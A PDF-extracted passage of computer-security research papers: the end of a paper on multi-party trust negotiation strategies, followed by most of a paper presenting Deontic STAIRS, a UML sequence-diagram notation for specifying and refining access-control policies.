19. Pick one disclosure g from S
20. Return {?g}
21. }

Fig. 5. The Cautious Strategy

If we requested f already and have not received a response to that request, we should
not request f again, as otherwise a cyclic dependency is established. If f was requested
after q’s receipt time and denied already, there is no need to repeat the request for f ,
because the request for f will be denied again. If there are no more relevant remote
disclosures to request, we have to deny the request for e.

Line 19 of the cautious strategy involves a strategic decision. Based on Alice’s past
experience, if she thinks that a received request e is likely to be denied eventually, she
can choose to request the relevant remote disclosures for e that are most likely to be
denied, to minimize the expected amount of effort that she must expend before she can
deny e. If she expects that e will not be denied and she wants to grow her knowledge
base, she might prefer to send as many requests as possible (to gather as much new
information as possible) before concluding that e holds. Under this approach, she needs
to delay making new requests that are likely to unlock e, until she has made as many
other relevant requests as possible.

Theorem 4. The cautious strategy is both safe and complete. Further, every negotia-
tion under the cautious strategy eventually terminates, with the original request either
denied or disclosed (granted).
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7 Conclusions and Future Work

To allow trust to be established between more than two parties, we have proposed MTN
as a new approach to distributed authorization. MTN extends and reinvents the core con-
cepts and theories of ATN, while also addressing the new challenges of coordinating
interleaved communication between parties, detecting circular dependencies, and pro-
viding scalability in a fully decentralized environment. Our solution approach addresses
all key aspects of MTN, including the policy language, negotiation protocols, and strate-
gies. The DARCL policy language is designed for MTN, yet can also serve as a general
purpose policy language. DARCL policies can base authorization decisions on credential
distributions, allowing the policy writer to specify finer-grained security constraints than
in other policy languages, without loss of flexibility. Our diffusion negotiation protocol
provides a lightweight, effective set of communication conventions that supports a fully
distributed approach to MTN, without relying on trusted third parties to coordinate the
negotiation. Our eager and cautious negotiation strategies are safe and complete, with
different tradeoffs between privacy and speed: the eager strategy is willing to disclose
more credentials than the cautious strategy, in order to speed up the negotiation.

Our solution approach for MTN can be enhanced in a number of aspects. First,
strangers currently need a pre-negotiation stage to reach an agreement on what MTN
negotiation strategy to use, because different MTN negotiation strategies do not interop-
erate with each other. We are interested in finding negotiation strategies that respect the
autonomy of each party while also guaranteeing completeness. Second, if a party sends
a denial message under the cautious strategy, the recipient can guess that the denying
party may not have the requested credential. Li and Winsborough [28,29] investigated
credential information leakage problems and proposed acknowledgement policies as a
way to prevent unauthorized requesters from guessing sensitive information. One could
extend the acknowledgment policy approach to work with MTN. Third, it would be
interesting to do a performance study regarding the communication complexity, timing
properties, as well as the impact of message loss and dynamic arrival and departures of
the parties. Finally, for particularly sensitive credentials, additional protection could be
provided by extended versions of cryptographic techniques such as hidden policies and
credentials [30,31], which greatly reduce the risk of interacting with strangers.
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Abstract. The UML is the de facto standard for system specification,
but offers little specialized support for the specification and analysis of
policies. This paper presents Deontic STAIRS, an extension of the UML
sequence diagram notation with customized constructs for policy speci-
fication. The notation is underpinned by a denotational trace semantics.
We formally define what it means that a system satisfies a policy speci-
fication, and introduce a notion of policy refinement. We prove that the
refinement relation is transitive and compositional, thus supporting a
stepwise and modular specification process. The approach is exemplified
with access control policies.

Keywords: Policy specification, policy refinement, policy adherence,
UML sequence diagrams, access control.

1 Introduction

Policy based management of information systems has the last decade been sub-
ject to increased attention, and several frameworks, see e.g. [1], have been intro-
duced for the purpose of policy specification, analysis and enforcement. At the
same time the UML 2.1 [2] has emerged as the de facto standard for the mod-
eling and specification of information systems. However, the UML offers little
specialized support for the specification and analysis of policies.

Policy specifications are used in policy based management of systems. The do-
main of management may vary, but typical purposes are access control, security
and trust management, and management of networks and services. Whatever the
management domain, the purpose is to control behavioral aspects of a system.
This is reflected in our definition of a policy, adopted from [3], viz. that a policy
is a set of rules governing the choices in the behavior of a system.

A key feature of policies is that they “define choices in behavior in terms of the
conditions under which predefined operations or actions can be invoked rather
than changing the functionality of the actual operations themselves” [1]. This
means that the capabilities or potential behavior of the system generally span
wider than what is prescribed by the policy, i.e. the system can potentially violate
the policy. A policy can therefore be understood as a set of normative rules about
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a system, defining the ideal, desirable or acceptable behavior of the system. In
our approach, each rule is classified as either a permission, an obligation or a
prohibition. This classification is based on standard deontic logic [4], and several
of the existing approaches to policy specification have language constructs of such
a deontic type, e.g. [3,5,6,7]. This categorization is furthermore implemented in
the ISO/IEC standard for open distributed processing [8].

The contribution of this paper is firstly an extension of the UML sequence dia-
gram notation suitable for specifying policies. In [9] we evaluated UML sequence
diagrams as a notation for policy specification, and argued that although the
notation to a large extent is sufficiently expressive, it is not suitable for policy
specification. The reason for this lies heavily in the fact that there are no con-
structs for expressing deontic modalities. In this paper we propose a customized
notation, referred to as Deontic STAIRS, which is underpinned by the deno-
tational trace semantics of the STAIRS approach to system development with
UML sequence diagrams [10,11]. The notation is not tailored for a specific type
of policy, thus allowing the specification of policies for access control, security
management, trust management, etc. In this paper the approach is exemplified
with access control policies, whereas the work presented in [12] demonstrates the
suitability of the notation to express trust management policies.

Secondly, this paper contributes by introducing a notion of policy adherence
that formally defines what it means that a system satisfies a policy specification.

As pointed out also elsewhere [13, 14], although recognized as an important
research issue, policy refinement still remains poorly explored in the literature.
This paper contributes thirdly by proposing a notion of policy refinement that
supports an incremental policy specification process from the more abstract and
high-level to the more concrete and low-level. We show that the refinement
relation is transitive, which is an important property as it allows a stepwise
development process. We also show that each of a set of composition operators
is monotonic with respect to the refinement relation. In the literature this is
often referred to as compositionality, and means that a policy specification can
be refined by refining individual parts of the specification separately.

Through refinement more details are added, and the specification is typi-
cally tailored towards an intended system (possibly including an enforcement
mechanism). The set of systems that adhere to the policy specification thereby
decreases. We show that the refinement relation ensures that if a system adheres
to a concrete, refined policy specification, it also adheres to the more abstract
specifications. Enforcement of the final specification thus implies the enforcement
of the specifications from the earlier phases.

For specific domains a special purpose policy language, e.g. XACML [15] for
access control, will typically have tailored constructs for its domain. A general
purpose language such as Deontic STAIRS is, however, advantageous as it offers
techniques for policy capturing, specification, development and analysis across
domains and at various abstraction levels.

The next section introduces UML sequence diagrams and the STAIRS deno-
tational semantics. In Sect. 3 we propose the customized syntax and semantics
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for policy specification with sequence diagrams. Sect. 4 formalizes the notion of
policy adherence, whereas policy refinement is defined and analyzed in Sect. 5.
Related work is discussed in Sect. 6 before we conclude in Sect. 7.

2 UML Sequence Diagrams and STAIRS

In this section we introduce the UML 2.1 sequence diagram notation and give
a brief introduction to the denotational semantics as defined in the STAIRS
approach. STAIRS formalizes, and thus precisely defines, the trace semantics
that is only informally described in the UML 2.1 standard.

UML interactions describe system behavior by showing how entities interact
by the exchange of messages. The behavior is described by traces which are
sequences of event occurrences ordered by time. Several UML diagrams can
specify interactions, and in this paper we focus on sequence diagrams where
each entity is represented with a lifeline. To illustrate language constructs and
central notions, we use a running example throughout the paper in which the
interaction between a user U and an application A is defined. The diagram M to
the left in Fig. 1 is very basic and has only two events, the sending of the message
login(id) on U (which we denote !l) and the reception of the same message on A
(denoted ?l). The send event must occur before the receive event. The semantics
of the diagram M is given by the single trace of these two events, denoted 〈!l, ?l〉.

The diagram W to the right in Fig. 1 shows the sending of the two messages
l and r from U to A, where r denotes read(doc). The order of the events on each
lifeline is given by their vertical positions, but the two lifelines are independent.
The semantics for each of the messages is as for the message in diagram M ,
and the semantics of W is given by weak sequencing of the two messages. Weak
sequencing takes into account the independence of lifelines, so the semantics for
the diagram W is given by the set {〈!l, ?l, !r, ?r〉, 〈!l, !r, ?l, ?r〉}. The two traces
represents the valid interpretations of the diagram; the sending of l is the first
event to occur, but after that both the reception of l and the sending of r may
occur.

sd M
U A

login(id)

sd W
U A

login(id)

read(doc)

Fig. 1. Sequence diagrams

The UML sequence diagram notation has further constructs for combining di-
agrams, most notably alt for specifying alternatives, par for parallel composition,
and loop for several sequential compositions of one diagram with itself.
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The traces of events defined by a diagram are understood as representing
system runs. In each trace a send event is ordered before the corresponding
receive event, and H denotes the trace universe, i.e. the set of all traces that
complies with this requirement. A message is in the STAIRS denotational se-
mantics given by a triple (s, tr, re) of a signal s, a transmitter tr and a receiver
re. The transmitter and receiver are lifelines. L denotes the set of all lifelines
and M denotes the set of all messages. An event is a pair of kind and message,
(k, m) ∈ {!, ?} × M. By E we denote the set of all events, and we define the
functions k. ∈ E → {!, ?}, tr. , re. ∈ E → L to yield the kind, transmitter and
receiver of an event, respectively.

The functions �, S© and T© are for concatenation of sequences, filtering of
sequences and filtering of pairs of sequences, respectively. Concatenation is to
glue sequences together, so h1 � h2 is the sequence that equals h1 if h1 is infinite.
Otherwise it denotes the sequence that has h1 as prefix and h2 as suffix, where
the length equals the sum of the length of h1 and h2.

By E S©a we denote the sequence obtained from the sequence a by remov-
ing all elements from a that are not in the set of elements E. For example,
{1, 3} S© 〈1, 1, 2, 1, 3, 2〉 = 〈1, 1, 1, 3〉.

The filtering function T© is described as follows. For any set of pairs of el-
ements F and pair of sequences t, by F T©t we denote the pair of sequences
obtained from t by truncating the longest sequence in t at the length of the
shortest sequence in t if the two sequences are of unequal length; for each
j ∈ {1, . . . , k}, where k is the length of the shortest sequence in t, selecting
or deleting the two elements at index j in the two sequences, depending on
whether the pair of these elements is in the set F . For example, we have that
{(1, f), (1, g)} T© (〈1, 1, 2, 1, 2〉, 〈f, f, f, g, g〉) = (〈1, 1, 1〉, 〈f, f, g〉).

Parallel composition (‖) of trace sets corresponds to the pointwise interleav-
ing of their individual traces. The ordering of the events within each trace is
maintained in the result. Weak sequencing (�) is implicitly present in sequence
diagrams and defines the partial ordering of the events in the diagram. For trace
sets H1 and H2, the formal definitions are as follows.

– H1 ‖ H2
def= {h ∈ H | ∃s ∈ {1, 2}∞ :

π2(({1} × E) T© (s, h)) ∈ H1 ∧
π2(({2} × E) T© (s, h)) ∈ H2}

– H1 � H2
def= {h ∈ H | ∃h1 ∈ H1, h2 ∈ H2 : ∀l ∈ L : e.l S©h = e.l S©h1 � e.l S©h2}

{1, 2}∞ is the set of all infinite sequences over the set {1, 2}, and π2 is a projection
operator returning the second element of a pair. The infinite sequence s in the
definition can be understood as an oracle that determines which of the events in
h that are filtered away. The expression e.l denotes the set of events that may
take place on the lifeline l. Formally

e.l
def= {e ∈ E | (k.e = ! ∧ tr.e = l) ∨ (k.e = ? ∧ re.e = l)}
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The semantics of a sequence diagram is defined by the function [[ ]] that for
a sequence diagram d yields a set of traces [[d]] ⊆ H representing the behavior
described by the diagram.

Definition 1. Semantics of sequence diagrams.

[[e]] def= {〈e〉} for any e ∈ E

[[d1 par d2]]
def= [[d1]] ‖ [[d2]]

[[d1 seq d2]]
def= [[d1]] � [[d2]]

[[d1 alt d2]]
def= [[d1]] ∪ [[d2]]

For the formal definition of further constructs and the motivation behind the
definitions, see [10, 11].

3 Specifying Policies

In this section we present Deontic STAIRS, a customized notation for specify-
ing policies with sequence diagrams. The notation is defined as a conservative
extension of UML 2.1 sequence diagrams. We furthermore define a denotational
trace semantics.

The notation constructs are illustrated by the examples of policy rules de-
picted in Fig. 2. We consider a policy that administrates the access of users U
to an application A.

A policy rule is defined as a sequence diagram that consists of two parts, a
trigger and a deontic expression. The trigger is a scenario that specifies the condi-
tion under which the given rule applies and is captured with the keyword trigger.
The body of the deontic expression describes the behavior that is constrained
by the rule, and the keywords permission, obligation and prohibition indicate the
modality of the rule. The name of the rule consists of two parts, where the former
part is the keyword rule, and the latter part is any chosen name for the rule.

The rule access to the left in Fig. 2 is a permission stating that by the sending
the message loginOK from the application to the user, i.e. the id of the user has
been verified, the user is permitted to retrieve documents from the system. In
case of login failure, the rule bar to the right in Fig. 2 specifies that document
retrieval is prohibited, i.e. the user is barred from accessing the application.

Generally, a diagram specifying a policy rule contains one or more lifelines,
each representing a participating entity. There can be any number of entities,
but at least one. In the examples we have for simplicity shown only two lifelines,
U and A. We also allow the trigger to be omitted. In that case the rule applies
under all circumstances and is referred to as a standing rule.

By definition of a policy, a policy specification is given as a set of rules, each
specified in the form shown in Fig. 2.

The extension of the sequence diagram notation presented in this section is
conservative with respect to the UML standard, so people that are familiar with
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loginOK

rule access

U A

read(doc)

trigger

permission

doc

loginFail

rule bar

U A

read(doc)

trigger

prohibition

doc

Fig. 2. Policy rules

UML should be able to understand and use the notation. All the constructs that
are available in the UML for specification of sequence diagrams can furthermore
freely be used in the specification of the body of a policy rule.

Semantically, the triggering scenario and the body of a rule are given by trace
sets T ⊆ H and B ⊆ H, respectively. Additionally, the semantics must capture
the deontic modality, which we denote by dm ∈ {pe, ob, pr}. The semantics of a
policy rule is then given by the tuple r = (dm, T, B). Notice that for standing
rules, the trigger is represented by the set of all traces, i.e. T = H. Since a policy
is a set of policy rules, the semantics of a policy specification is given by a set
P = {r1, . . . , rm}, where each ri is the semantic representation of a policy rule.

4 Policy Adherence

In this section we define the adherence relation →a that for a given policy speci-
fication P and a given system S defines what it means that S satisfies P , denoted
P →a S. We assume a system model in which the system is represented by a
(possibly infinite) set of traces S, where each trace describes a possible system
execution. In order to define P →a S, we first define what is means that a system
adheres to a rule r ∈ P , denoted r →a S.

A policy rule applies if and when a prefix h′ of an execution h ∈ S triggers
the rule, i.e. the prefix h′ & h fulfills the triggering scenario T . The function &
is a predicate that takes two traces as operand and yields true iff the former is
equal to or a prefix of the latter. Since the trace set T represents the various
executions under which the rule applies, it suffices that at least one trace t ∈ T
is fulfilled by h′ for the rule to trigger. Furthermore, for h′ to fulfill t, the trace
t must be a sub-trace of h′, denoted t � h′.

For traces h1, h2 ∈ H, if h1 � h2 we say that h1 is a sub-trace of h2 and,
equivalently, that h2 is a super-trace of h1. Formally, the sub-trace relation is
defined as follows.

h1 � h2
def= ∃s ∈ {1, 2}∞ : π2(({1} × E) T© (s, h2)) = h1
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The expression h1 � h2 evaluates to true iff there exists a filtering such
that when applied to h2 the resulting trace equals h1. For example, 〈a, b, c〉 �

〈e, a, b, e, f, c〉.
Formally, the triggering of a rule (dm, T, B) by a trace h ∈ S is defined as

follows.

Definition 2. The rule (dm, T, B) is triggered by the trace h iff ∃t ∈ T : t � h.

To check whether a system S adheres to a rule (dm, T, B) we first need to
identify all the triggering prefixes of traces of S. Then, for each triggering prefix,
we need to check the possible continuations. As an example, consider the system
S = {h1, h2, h3}. Assume that h1 and h2 have a common prefix ha that triggers
the rule, i.e. h1 and h2 can be represented by the concatenations ha � hb and
ha � hc, respectively, such that ∃t ∈ T : t � ha. Assume, furthermore, that the
system trace h3 does not trigger the rule, i.e. ¬∃t ∈ T : t � h3.

The three runs can be structured into a tree as depicted in Fig. 3. Adher-
ence to a policy rule intuitively means the following. The system adheres to
the permission (pe, T, B) if at least one of the traces hb and hc fulfills B; so
a permission requires the existence of a continuation that fulfills the behavior.
The system adheres to the obligation (ob, T, B) if both of hb and hc fulfill B;
so an obligation requires that all possible continuations fulfill the behavior. The
system adheres to the prohibition (pr, T, B) if neither hb nor hc fulfill B; so a
prohibition requires that none of the possible continuations fulfill the behavior.
Notice that to fulfill the behavior given by the trace set B, it suffices to fulfill
one of the traces since each element of B represents a valid way of executing the
behavior described by the rule body. As for the trace h3, since the rule is not
triggered, the rule is trivially satisfied.

h1 h2 h3

hb

ha

hc

Fig. 3. Structured traces

A rule body is described by a set of traces B, so the super-traces of the
elements of B represent the various ways of fulfilling this behavior. This set is
defined by {h ∈ H | ∃h′ ∈ B : h′

� h} and denoted B�.
Adherence to policy rule r of system S, denoted r →a S is defined as follows,

where h|k is a truncation operation that yields the prefix of h of length k ∈ N.
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Definition 3. Adherence to policy rule of system S:

– (pe, T, B) →a S
def= ∀h ∈ S : h ∈ T� ⇒
∃h′ ∈ S : ∃k ∈ N : h|k & h′ ∧ h|k ∈ T� ∧ h′ ∈ (T � B)�

– (ob, T, B) →a A
def= ∀h ∈ S : h ∈ T� ⇒ h ∈ (T � B)�

– (pr, T, B) →a A
def= ∀h ∈ S : h ∈ T� ⇒ h /∈ (T � B)�

With these definitions of adherence to policy rule of a system S, we define
adherence to a policy specification P as follows.

Definition 4. P →a S
def= ∀r ∈ P : r →a S

Example 1. As an example of policy rule adherence, consider the permission rule
access to the left in Fig. 2 stating that users U are allowed to retrieve documents
fromtheapplicationAafter avalid login.Semantically,wehaveaccess = (pe, T, B),
whereT is the singleton set{〈(!, (loginOK,A,U)), (?, (loginOK,A,U))〉} andB is the
singleton set containing the sequence of events depicted to the left in Fig. 4.

Trace of rule access Partial trace of S

(!, (read(doc),U,A)) · · ·
(?, (read(doc),U,A)) (!, (login(id),U,A))
(!, (doc,A,U)) (?, (login(id),U,A))
(?, (doc,A,U)) (!, (query(id),A,SA))

(?, (query(id),A,SA))
(!, (valid(id),SA,A))
(?, (valid(id),SA,A))
(!, (loginOK,A,U))
(?, (loginOK,A,U))
(!, (read(doc),U,A))
(?, (read(doc),U,A))
(!, (doc,A,U))
(?, (doc,A,U))
(!, (store(doc’),U,A))
(?, (store(doc’),U,A))
· · ·

Fig. 4. Traces of rule and system

To the right in Fig. 4 we have shown a partial trace of S in the case that
access →a S. The user U sends a login message to the application A, after which
the application sends a query to the security administrator SA to verify the id
of the user. At some point in the execution the events (!, (loginOK,A,U)) and
(?, (loginOK,A,U)) triggering the rule occur. The user then retrieves a document
and finally stores a modified version. Since there exists a filtering of the system
trace that equals the trace representing the body of the permission rule, the
system adheres to the rule. Other system traces with the same triggering prefix
need not fulfill the trace of the rule since the rule is a permission.



308 B. Solhaug and K. Stølen

The definition of policy adherence is based the satisfiability relation of deontic
logic which defines what it means that a model satisfies a deontic expression.
Standard deontic logic is a modal logic that is distinguished by the axiom OBp ⊃
PEp, stating that all that is obligated is also permitted. The next theorem states
that this property as well as the definitions OBp ≡ ¬PE¬p (p is obligated iff the
negation of p is not permitted) and OBp ≡ PR¬p (p is obligated iff the negation
of p is prohibited) of deontic logic are preserved by our definition of adherence.

Theorem 1

– (ob, T, B) →a S ⇒ (pe, T, B) →a S
– (ob, T, B) →a S ⇔ (¬pe, T,¬B) →a S
– (ob, T, B) →a S ⇔ (pr, T,¬B) →a S

Notice that the use of negation in the theorem is pseudo-notation. The precise
definitions are as follows, where H denotes the complement H\H for H ⊆ H.

– (¬pe, T,¬B) →a S
def= ∀h ∈ S : h ∈ T� ⇒
¬∃h′ ∈ S : ∃k ∈ N : h|k & h′ ∧ h|k ∈ T� ∧ h′ ∈ (T � B)�

– (pr, T,¬B) →a A
def= ∀h ∈ S : h ∈ T� ⇒ h /∈ (T � B)�

The first clause of Theorem 1 follows immediately from the definition of ad-
herence, whereas the second and third clause are shown by manipulation of
quantifiers, negations and set inclusions.

Generally, the inter-definability axioms of deontic logic linking obligations
to permissions are not adequate for policy based management of distributed
systems since permissions may be specified independently of obligations and by
different administrators. An obligation rule of a network configuration policy,
for example, does not imply the authorization to conduct the given behavior if
authorizations are specified in the form of permission rules of a security policy.

However, an obligation for which there is no corresponding permission repre-
sents a policy conflict which must be resolved for the policy to be enforceable.
A policy specification P is consistent, or conflict free, iff there exists a system
S such that P →a S. Theorem 1 reflects properties of consistent policy specifi-
cations, and if any of these properties are not satisfied there are occurrences of
modality conflicts, and the policy cannot be enforced.

There are five types of modality conflicts. First, obligation to conduct the
behavior represented by the set of traces B, while the complement B is also
obligated; second, prohibiting B while prohibiting the complement B; third,
prohibiting B while obligating B; four, permitting B while obligating B; five,
prohibiting B while also permitting B.

In policies for distributed systems conflicts are likely to occur since different
rules may be specified by different managers, and since multiple policy rules may
apply to the same system entities. The problem of detecting and resolving policy
conflicts is outside the scope of this paper, but existing solutions to resolving
modality conflicts, see e.g. [16], can be applied.
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5 Policy Refinement

We aim for a notion of refinement that allows policy specifications to be devel-
oped in a stepwise and modular way. Stepwise refinement is ensured by tran-
sitivity, which means that a policy specification that is the result of a number
of refinement steps is a valid refinement of the initial, most abstract specifica-
tion. Modularity means that a policy specification can be refined by refining
individual parts of the specification separately.

Refinement of a policy rule means to weaken the trigger or strengthen the
body. A policy specification may also be refined by adding new rules to the
specification. Weakening the trigger means to increase the set of traces that
trigger the rule. For permissions and obligations, the body is strengthened by
reducing the set of traces representing the behavior, whereas the body of a prohi-
bition is strengthened by increasing the set of prohibited traces. The refinement
relation �tr for the triggering scenario, and the refinement relations �pe, �ob

and �pr for the body of permissions, obligations and prohibitions, respectively,
are defined as follows.

Definition 5. Refinement of policy trigger and body:

– T �tr T ′ def= T ′ ⊇ T

– B �pe B′ def= B′ ⊆ B

– B �ob B′ def= B′ ⊆ B

– B �pr B′ def= B′ ⊇ B

Obviously, these relations are transitive and reflexive. The relations are further-
more compositional, which means that the different parts of a sequence diagram
d can be refined separately. Compositionality is ensured by monotonicity of the
composition operators with respect to refinement as expressed in the following
theorem. The instances of the relation � denote any of the above four refinement
relations.

Theorem 2. If d1 � d′1 and d2 � d′2, then the following hold.
– d1 seq d2 � d′1 seq d′2
– d1 alt d2 � d′1 alt d′2
– d1 par d2 � d′1 par d′2

The theorem follows directly from the definition of the composition operators.
Since the refinement relations are defined by the subset and the superset rela-
tions, the theorem is proven by showing that the operators �, ∪ and ‖ on trace
sets (defining sequential, alternative and parallel composition, respectively) are
monotonic with respect to ⊆ and ⊇. For seq and ⊆, the result

[[d′1]] ⊆ [[d1]] ∧ [[d′2]] ⊆ [[d2]] ⇒ [[d′1]] � [[d′2]] ⊆ [[d1]] � [[d2]]

holds since the removal of elements from [[d1]] or [[d2]] yields a reduction of set of
traces that results from applying the � operator. The case of monotonicity of �
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with respect to ⊇ is symmetric. The argument for par, i.e. monotonicity of ‖, is
similar to seq, whereas the case of the union operator ∪ defining alt is trivial.

We now define refinement of a policy rule as follows.

Definition 6. (dm, T, B) � (dm′, T ′, B′) def= dm = dm′∧T �tr T ′∧B �dm B′

It follows immediately from reflexivity and transitivity of the refinement relations
�tr and �dm that the refinement relation � for policy rules is also reflexive
and transitive.

A policy is a set of rules, and for a policy specification P ′ to be a refinement
of policy specification P , we require that each rule in P must be refined by a
rule in P ′.

Definition 7. P � P ′ def= ∀r ∈ P : ∃r′ ∈ P ′ : r � r′

Theorem 2 address composition of interactions within a policy rule r. At the
level of policy specifications, composition is simply the union of rule sets P . It
follows straightforwardly that policy composition is monotonic with respect to
refinement, i.e. P1 � P ′

1 ∧ P2 � P ′
2 ⇒ P1 ∪ P2 � P ′

1 ∪ P ′
2. Refinement of policy

specifications is furthermore transitive, i.e. P1 � P2 ∧ P2 � P3 ⇒ P1 � P3.
Development of policy specifications through refinement allows an abstract

and general view of the system in the initial phases, ignoring details of system
behavior, design and architecture. Since the specification is strengthened through
refinement and more detailed aspects of the system are considered, the set of
systems that adhere to the policy specification decreases. However, a system that
adheres to a concrete, refined specification also adheres to the initial, abstract
specification. This means that if a policy specification is further refined before
it is enforced, the enforcement ensures that the initial, abstract specification is
also enforced. This is expressed in the next theorem.

Theorem 3. Given a system S and policy specifications P and P ′, if P � P ′

and P ′ →a S, then P →a S.

Policy composition and refinement do not rely on the assumption that the rules
are mutually consistent or conflict free, which means that inconsistencies may
be introduced during the development process. However, potential conflicts are
generally inherent in policies for distributed systems [16]. Development of policy
specification with refinement is in this respect desirable since conflicts and other
errors are generally easier to detect and correct at abstract levels.

Example 2. In the following we give an example of policy specification refine-
ment. Let, first, P1 = {access, bar} be the policy specification given by the per-
mission and the prohibition depicted in Fig. 2. Refinement allows adding rules
to the specification, so assume the obligation rule loginFail to the left in Fig. 5
and the obligation rule disable in Fig. 6 are added to the rule set such that
P2 = {access, bar, loginFail, disable}.

The former rule states that the application is obligated to alert the user in
case of a login failure, i.e. when the user id is invalid. The latter rule, adapted
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loginFail

rule loginFail

U A

trigger

obligation

loginFail(n,id)loginFail

U SA L

loginFail(id)

trigger

obligation

rule loginFail2

invalid(id) invalid(id)

Fig. 5. Login failure

from [7], states that in case of three consecutive login failures, the application is
obligated to disable the user, log the incident and alert the user.

The body of the rule to the left in Fig. 6 is specified with the UML 2.1 se-
quence diagram construct called interaction use which is a reference to another
diagram. The interaction use covers the lifelines that are included in the ref-
erenced diagram. The body is defined by the parallel composition of the three
diagrams d (disable the user), l (log the incident) and a (alert the user) to the
right in Fig. 6. Equivalently, the referenced diagrams can be specified directly in
place of the respective interaction uses.

By reflexivity, the permission and prohibition of P2 are refinements of the
same rules in P1. Since adding rules is valid in refinement, P2 is a refinement of
P1. Obviously, a system that adheres to P2 also adheres to P1.

The rules in both P1 and P2 refer to interactions only between the application
and the users, which may be suitable at the initial development phases. At later

rule disable
U A

trigger

obligation

par
ref sd d

ref sd l

sd d
A

disable(id)

sd l
A

log(disabled,id)

sd a

U A

disabled

loginFail(3,id)

ref sd a

Fig. 6. Disable user
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stages, however, the policy specification is typically specialized towards a specific
system, and more details about the system architecture is taken into account.
This is supported through refinement by decomposition of a single entity into
several entities, thus allowing behavior to be specified in more detail. Due to
space limits refinement by detailing is only exemplified in this paper. See [10]
for a formal definition.

The rule loginFail2 to the right in Fig. 5 shows a refinement of the rule loginFail
to the left in the same figure. Here, the application A has been decomposed
into the entities security administrator SA and log L. The refined obligation
rule states that by the event of login failure, the security administrator must
log the incident before alerting the user. The log also reports to the security
administrator the current number n of consecutive login failures. Observe that
the modality as well as the trigger are the same in both loginFail and loginFail2,
and that the interactions between the application and the user are identical. This
implies that loginFail2 is a detailing of loginFail. Hence, loginFail � loginFail2.
It is easily seen that adherence to the latter rule implies adherence to the former.

Compositionality of refinement means that for a given policy specification,
the individual rules can be refined separately. This means that for the policy
specification P3 = {access, bar, loginFail2, disable} we have P2 � P3 and that for
all systems S, P3 →a S implies P2 →a S. By transitivity of refinement we also
have that P1 � P3 and that adherence to P3 implies adherence to P1.

Compositionality of refinement also means that in order to refine a policy rule,
the individual parts of the body of a rule can be refined separately. We illustrate
this by showing a refinement of the body of the rule disable of Fig. 6. The body
shows the parallel composition of three diagrams, denoted d par l par a.

Fig. 7 shows refinement of the diagram elements d and l into d2 and l2, respec-
tively. In d2 the lifeline A has been decomposed into the components security
administrator SA and user store US and shows the security administrator dis-
abling a user by sending a message to the user store. We now have that d � d2
and, similarly, that l � l2 for the other diagram element. By compositionality
of refinement of rule body, we get that (d par l par a) � (d2 par l2 par a).

sd d2
SA US

disable(id)

ok

sd l2
SA L

log(disabled,id)

ok

Fig. 7. Refined diagrams

Let the obligation rule disable2 be defined by replacing the references to d and
l in disable of Fig. 6 with references to d2 and l2, respectively, of Fig. 7. We now
have that disable � disable2. The policy specification P4 = {access, bar, login-
Fail2, disable2} is a refinement of P3 and, by transitivity, a refinement of P2 and
P1 also. As before, P4 →a S implies P1 →a S for all systems S.
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These examples show how more detailed aspects of system architecture and
behavior may be taken into account at more refined levels. Another feature of
refinement is that the behavior defined at abstract levels can be constrained
at more concrete levels by ruling out alternatives. As an example, consider the
body of the rule disable2 which semantically is captured by the set trace set
[[d2 par l2 par a]]. This defines an interleaving of the traces of the three elements;
there are no constraints on the ordering between them. The ordering can, how-
ever, be constrained by using sequential composition instead of parallel compo-
sition. If, for example, it is decided that the disabling of the user and the logging
of the incident should be conducted before the user is alerted, this is defined
by (d2 par l2) seq a. Sequential composition is a special case of parallel compo-
sition, so semantically we now have that [[(d2 par l2) seq a]] ⊆ [[d2 par l2 par a]].
For the obligation rule, the former set of traces represents a refinement of the
latter set of traces.

Let disable3 be defined as disable2 where d2 par l2 par a of the latter is re-
placed with (d2 par l2) seq a in the former. Then disable2 � disable3. By defin-
ing the specification P5 = {access, bar, loginFail2, disable3} we have P4 � P5.
By transitivity, P5 is a refinement of all the previous policy specifications of this
example, and adherence to P5 implies adherence to them all.

6 Related Work

Although a variety of languages and frameworks for policy based management
has been proposed the last decade or so, policy refinement is still in its initial
phase and little work has been done on this issue. After being introduced in [17]
the goal-based approach to policy refinement has emerged as a possible approach
and has also later been further elaborated [13, 14, 18].

In the approach described in [17], system requirements that eventually are
fulfilled by low-level policy enforcement are captured through goal refinement.
Initially, the requirements are defined by high-level, abstract policies, and so
called strategies that describe the mechanisms by which the system can achieve
a set of goals are formally derived from a system description and a description
of the goals. Formal representation and reasoning are supported by the formal-
ization of all specifications in event calculus.

Policy refinement is supported by the refinement of goals, system entities and
strategies, allowing low-level, enforceable policies to be derived from high-level,
abstract ones. Once the eventual strategies are identified, these are specified as
policies the enforcement of which ensures the fulfillment of the abstract goals. As
opposed to our approach, there is no refinement of policy specifications. Instead,
the final polices are specified with Ponder [7], which does not support the spec-
ification of abstract policies that can be subject to refinement. The goal-based
approach to policy refinement hence focus on refinement of policy requirements
rather than policy specifications.

The same observations hold for the goal-based approaches described in [13, 14,
18], where the difference between [13, 17] and [14, 18] mainly is on the strategies
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for how to derive the policies to ensure the achievement of a given goal. The for-
mer use event calculus and abduction in order to derive the appropriate strategies,
whereas the latter uses automated state exploration for obtaining the appropriate
system executions. All approaches are, however, based on requirements capturing
through goal refinement, and Ponder is used as the notation for the eventual policy
specification.

In [13] a policy analysis and refinement tool supporting the proposed formal
approach is described. In [17], the authors furthermore show that the formal
specifications and results can be presented with UML diagrams to facilitate us-
ability. The UML is, however, used to specify goals, strategies, etc., and not the
policies per se as in our approach. In our evaluation of the UML as a notation for
specifying policies [9] we found that sequence diagrams to a large extent have
the required expressiveness, but that the lack of a customized syntax and se-
mantics makes them unsuitable for this purpose. The same observation is made
in attempts to formalize policy concepts from the reference model for open dis-
tributed processes [8] using the UML [6,19]. Nevertheless, in this paper we have
shown that with minor extensions, policy specification and refinement can be
supported.

UML sequence diagrams extends message sequence charts (MSCs) [20], and
both MSCs and a family of approaches that have emerged from them, e.g.
[21, 22, 23, 24], could be considered as alternatives to notations for policy spec-
ification. These approaches, however, lack the expressiveness to specify policies
and capture a notion of refinement with the properties demonstrated in this
paper.

Live sequence charts (LSCs) [22] and modal sequence diagrams (MSDs) [21]
are two similar approaches based on a distinction between existential and univer-
sal diagrams. This distinction can be utilized to specify permissions, obligations
and prohibitions. However, conditionality is not supported for existential dia-
grams in LSCs which means that diagrams corresponding to our permissions
cannot be specified with triggers. A precise or formal notion of refinement is also
not defined for these approaches. In [23], a variant of MSCs is provided a formal
semantics and is supported by a formal notion of refinement. MSCs are inter-
preted as existential, universal or negative (illegal) scenarios, which is related
